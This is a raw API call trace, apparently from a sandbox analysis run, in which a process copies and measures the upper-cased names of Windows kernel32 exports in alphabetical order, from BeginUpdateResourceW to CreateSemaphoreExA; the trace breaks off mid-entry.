[0045.765] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0045.765] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0045.765] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0045.765] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0045.765] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0045.765] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0045.765] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0045.765] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0045.765] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0045.765] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0045.765] lstrcpyA (in: lpString1=0x21ff24c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0045.765] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0045.765] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0045.765] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0045.765] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0045.766] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0045.766] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0045.766] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0045.766] lstrlenA (lpString="CANCELIO") returned 8 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0045.766] lstrlenA (lpString="CANCELIOEX") returned 10 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0045.766] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0045.766] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0045.766] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0045.766] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0045.766] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0045.766] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0045.766] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0045.766] lstrlenA (lpString="CHECKELEVATION") returned 14 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0045.766] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0045.766] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0045.766] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0045.767] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0045.767] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0045.767] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0045.767] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0045.767] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0045.767] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0045.767] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0045.767] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0045.767] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0045.767] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0045.767] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0045.767] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0045.767] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0045.767] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0045.767] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0045.767] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0045.767] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0045.767] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0045.768] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0045.768] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0045.768] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0045.768] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0045.768] lstrlenA (lpString="CLOSESTATE") returned 10 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0045.768] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0045.768] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0045.768] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0045.768] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0045.768] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0045.768] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0045.768] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0045.768] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0045.768] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0045.768] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0045.768] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0045.768] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0045.769] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0045.769] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0045.769] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0045.769] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0045.769] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0045.769] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0045.769] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0045.769] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0045.769] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0045.769] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0045.769] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0045.769] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0045.769] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0045.769] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0045.769] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0045.769] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0045.769] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0045.770] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0045.770] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0045.770] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0045.770] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0045.770] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0045.770] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0045.770] lstrlenA (lpString="COPYCONTEXT") returned 11 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0045.770] lstrlenA (lpString="COPYFILE2") returned 9 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0045.770] lstrlenA (lpString="COPYFILEA") returned 9 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0045.770] lstrlenA (lpString="COPYFILEEXA") returned 11 [0045.770] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0045.770] lstrlenA (lpString="COPYFILEEXW") returned 11 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0045.771] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0045.771] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0045.771] lstrlenA (lpString="COPYFILEW") returned 9 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0045.771] lstrlenA (lpString="COPYLZFILE") returned 10 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0045.771] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0045.771] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0045.771] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0045.771] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0045.771] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0045.771] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0045.771] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0045.772] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0045.772] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0045.772] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0045.772] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0045.772] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0045.772] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0045.772] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0045.772] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0045.772] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0045.772] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0045.772] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0045.772] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0045.772] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0045.772] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0045.772] lstrlenA (lpString="CREATEEVENTA") returned 12 [0045.772] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0045.772] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0045.772] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0045.772] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0045.773] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0045.773] lstrlenA (lpString="CREATEEVENTW") returned 12 [0045.773] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0045.773] lstrlenA (lpString="CREATEFIBER") returned 11 [0045.773] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0045.773] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0045.773] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0045.773] lstrlenA (lpString="CREATEFILE2") returned 11 [0045.773] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0045.773] lstrlenA (lpString="CREATEFILEA") returned 11 [0045.773] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0045.773] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0045.773] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0045.773] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0045.773] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0045.773] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0045.773] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0045.773] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0045.774] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0045.774] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0045.774] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0045.774] lstrlenA (lpString="CREATEFILEW") returned 11 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0045.774] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0045.774] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0045.774] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0045.774] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0045.774] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0045.774] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0045.774] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0045.774] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0045.775] lstrlenA (lpString="CREATEJOBSET") returned 12 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0045.775] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0045.775] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0045.775] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0045.775] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0045.775] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0045.775] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0045.775] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0045.775] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0045.775] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0045.775] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0045.776] lstrlenA (lpString="CREATEPIPE") returned 10 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0045.776] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0045.776] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0045.776] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0045.776] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0045.776] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0045.776] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0045.776] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0045.776] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0045.776] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0045.776] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0045.776] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0045.776] lstrcpyA (in: lpString1=0x21ff24c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0045.776] lstrlenA 